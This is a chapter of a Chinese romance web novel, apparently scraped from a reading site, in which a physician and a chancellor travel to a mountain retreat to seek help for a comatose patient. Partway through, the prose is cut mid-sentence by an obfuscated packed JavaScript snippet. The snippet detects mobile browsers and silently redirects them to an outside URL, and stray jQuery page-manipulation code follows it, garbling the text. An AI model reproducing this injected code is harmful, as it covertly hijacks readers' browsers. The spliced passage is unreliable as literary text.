41. 第 41 章

作品:《和离后,丞相他追悔莫及

    可到底还是没拿,只是道,“晚些再吃吧。”


    阮慕在心里好笑,这东西竟也能逼得崔大人撒这小谎了?


    “哦,这团子越是新鲜越好吃,大人别耽搁太久便好。”


    她的语气一如往常,可崔煊还是从里面发现了一丝...类似顽皮的东西。


    他不禁心中莞尔。


    连着忙碌许多日子的疲累似乎都消解了不少。


    “刘虎的病情如何?”崔煊问。


    阮慕如实答了,“不知阮大夫明日过来,可否帮我再开些药膳?如你所见,我可能有些许上火。”


    吃那桑团子便可,这话阮慕到底还是没说。


    “自是可以,晚些我便将药膳方子送来。”


    说完,那小丫头跑进来,瞧见崔煊竟在,本来急促的脚步立刻放缓,脸上泛起薄红。


    “崔大人好。”行礼后,又对阮慕道,“师傅,李公子来了。”


    阮慕点头后对崔煊道,“若是没其实他,我便先走了。”


    崔煊点点头。


    师徒二人离开的时候,崔煊听见小丫头的声音,“这次的老大夫可是不一般的,李公子可真费心,他说师傅您瞧见了,必定欢喜。”


    “好了。”阮慕叫小丫头先闭上嘴巴,在府衙里岂能乱说话。


    崔煊看着两人的背影消失在尽头,才收回视线。


    “大人,谢大人那边..您还见吗,已经等一个时辰了。”和荣过来询问。


    方才,崔煊本就是在去见谢大人的路上,临了,听说大夫来诊治刘虎了,便转了脚步先过来。


    后头还有许多旁的事情。


    “叫他把事情写清楚,我看了后再见他。”


    和荣领命离开。


    他吸了口气,转头离去。


    过了两日,那刘虎依旧没有任何苏醒的迹象,阮慕日日来,也换了许多施针的法子,都是起的用处都不大,他便有些头疼。


    若是他继续如此,便很可能一直睡下去,到时候...


    阮慕问了衙役,能否去请他的妻女过来,或许可以帮忙唤醒他。


    那衙役去了后,很快得到允同,便将他的妻女带了过来。


    两日都瘦弱枯槁,看到阮慕,直接跪下来感激不尽,而后又进去看了刘虎,里头便传来压抑地抽泣声。


    “当初我劝你走,你非不肯,你帮他做事也是...为了孩子,他拿孩子威胁你,若是我们早些走,你不肯,非要留下来守着那偷来的账本,又怎会如此?现下留我们孤儿寡母,如何活得下去?”


    阮慕本不愿听人家的家事,可那声音也不小,而且房门是不允许关闭的,倒是第一次知道,背后竟是这样的原因。


    其实这男子,也是很有些骨气的。


    只是,做了错事便是错,情有可原也很难法外容情。


    那妻女出来后,瘦得几乎没肉的脸上全是泪,又跪下给阮慕磕头,借她无端心头发堵得厉害。


    阮慕便又回去翻看医术,翻看外祖的手册,一夜未眠。


    可几日下来,也换了些法子,依旧还是无用。


    这日,崔煊忙于公事,和荣突然进来,递上来一封急信。


    崔煊忙了一阵子,才将书信拆开,然后他微蹙的眉心便渐渐松开。


    立刻便打发和荣去阮大夫家,给了他一个信笺,和荣莫名,还是急忙撒腿就跑去了。


    阮慕正细细翻看医书,其实那都是她瞧过许多遍的,大概是没有可能找到,她只是怕自己有所遗漏,而且也的确没有旁的方法,只好再看看。


    然后便听到外头的动静。


    “崔大人送来的?”小丫头说了这一句,片刻后,她便推门进来,扬扬手中的信件。


    阮慕奇怪,他怎会有事找她?


    怀着莫名的心情,阮慕拆开,然后整张脸都亮了起来。


    “快,快收拾东西。”


    那信里说了,崔煊有一位老师多年隐居,曾听他提及有一位好友,便是大夫,而且曾救过一位头部重击,昏迷一月的男子醒来。


    而近日和老师的书信中提及,他与好友恰好便在建邺郊边的鸣鹤山山顶的道馆中,问她是否有问询的意思。


    阮慕立刻振奋无比。


    能救下自己的病人,她自然义不容辞,而且多学一些本事,日后便可救下更多的人,这也是她这些年来,总是搜罗各类医书,全部翻遍了的原因。


    第二日,阮慕起了一个大早,天还没完全亮,就已经到了城门口。


    等了片刻,马车便缓缓而来。


    想着她自己一个人去,若非需要一个带路的,其实自己走还更快些。


    阮慕向车夫到了谢,急忙爬上车,掀开帘子,便愣住了。


    里头,崔煊似是小憩,他眼下有一圈的乌青,足见昨夜是没有休息好的,止咳听见动静,才缓缓睁开眼睛。


    他眼皮很薄,剑眉星目,闭目的时候便有些不好接近,睁开锐利的眼睛尤甚。


    更何况又是在阮慕未有准备的情况下碰见,手差点一松,人一个踉跄。


    “当心。”


    崔煊倾身过来,在扶住她胳膊的前一刻,阮慕立刻稳住了自己,看了一眼他如玉的手慢慢收回。


    “我没事,多谢。”


    阮慕慢慢坐进去,乖巧地离他远一些。


    可这里的马车却不必从前,两人中间的空间很小,马车晃动间,总不自觉会碰到。


    阮慕控制着自己尽量不要碰到人。


    “我是去看恩师。”


    陡然响起的声音让阮慕愣了后一跳,“啊...啊!这样...哦...”


    崔煊没有错过它上车时,看见他时的那份错愕。


    “是很重要的老师吗?”阮慕随口问。


    崔煊看她一眼,点头,“启蒙的恩师。”


    他又补充,“小时候顽皮,还被他打过的恩师。”


    阮慕诧异,打?


    她无法想象现在这个如玉般的公子,气势迫人,高高在上,清冷无两的大人,小时候竟也会顽皮,还被打?


    阮慕嘴角翘起来,扭头的时候,碰上崔煊看过来的视线,她的嘴角便尴尬地慢慢压平。


    “哦,那...他一定是个好老师。”说完,连她自己都不知道自己在胡扯些什么。


    可是,着好像是他第一次提起他的过去。


    从前她非常想了解他的一切,可惜,两人连平常的话都说不上一句。


    着好像,是他们第一次平和地,在这样静谧安宁的环境中,谈及他自己。


    崔煊扭头。


    便回想起她方才呆呆的小脸,连他自己都没有发现,自己轻轻翘起的嘴角。


    马车这样行了大半个时辰,渐渐便停了下来。


    “大人,前头没路了。”


    后面的便是需要自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867976|156628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爬到山顶。


    阮慕下车,瞧了瞧天,碧蓝如洗,空气清新润泽,入目翠绿欲滴,倒是很好的时节。


    小丫头拿着个水壶过来,“师傅,喝药。”


    她声音很轻,崔煊还是看了过来。


    她此刻脸颊红润,气色尚好,为何还需喝药?


    瞧见她眉头微蹙,最后还是喝下了,这是孙爷爷走的时候留下来的任务,说是能治她不孕的方子,阮慕知道无用,可不忍拂了他的意思,便七日喝一次,若非小丫头记着,阮慕倒其实早忘了。


    “身子可是不舒服?”崔煊问。


    阮慕摇摇头,“只是平常调理的药。”


    崔煊便不再多问。


    小丫头眉头很深。


    她觉得面前的崔大人多好啊,人好,为了那样的小人物竟然亲自过问药方,一来就接解决了一个大坏官,人长得多好看啊,气质也好,脾气也好,世上怕是再没有比他更好的了,对自己师傅也好像有些很不同呢。


    再说自己师傅那样好看,两人多般配呀,看起来便是赏心悦目,叫人欣喜。


    虽然李公子也好,可惜......若是相比,小丫头还是要站崔大人那边的,只因为他好看嘻嘻。


    只是...自己师傅却...无法生育,男子大多都是嫌弃的。


    李公子倒是不在意的,那这位崔大人呢?


    肯定是在意的吧。


    小丫头自己胡思乱想着,阮慕已经抬步往上而去。


    她体力是很好的,而且小时候什么山没有爬过,很懂得用巧劲,所以倒是不大费力,越走越开心。


    前头走来两个粗布的少女,见到阮慕笑着招呼,“阮大夫你也来采药么?”


    山里的确是有其他人采药后卖出去,也算是个营生的。


    对方问了她采的药对不对,拿不准的都一一请教,崔煊在不远处看着她嘴角的笑意,不知道和少女谈笑了什么,小脸上荡漾起一个自然又娇俏的笑容,在渐渐明曦的日光下,几乎有些叫她晃眼。


    他约莫记得,在京城的时候她十分孤僻,连日常走动都是不爱的,却原来竟不是,她其实和许多人都能很好的相处,许多人都十分喜欢她。


    或许,就像他不喜应酬一样,她也可能不喜在那样的场合下和许多夫人攀谈交情,更何况,他的身份高,旁人巴结都来不及,而当时,他因着顺承郡王的事情,又被打压弹劾,连家人都受影响,更何况她,因为出身....那时候的她,在崔府,在京城,应当是颇为艰难的吧。


    可当时的他忙于政事,又对她颇多误会,并不曾将这些放在心上。


    远处阮慕说完了话,看过来这边一眼,崔煊看着她,走过去。


    阮慕担心自己耽搁了时间,便开口,“方才他们都同我夸奖大人你呢,方知府倒台的消息大家都知道,您现在可是京城来的包青天。”


    崔煊看她一眼,“都是我应当做的。”


    “可为民做了好事实事那确是应该夸的,既是应当做的,那怎不见旁的任何人来做,可见这也并非一件容易的事情,我虽不懂,但想来里头关系盘根错节,要为民做些什么,定然也非嘴上说着的那般简单。”


    崔煊看着她,她走在前头,明亮的日头逆光,因着爬山,小脸浮起一层红晕,扭头过来的时候,眼睛格外明亮,额前,已经出了一层薄汗。


    他的心口不知为何,突然加快了几分。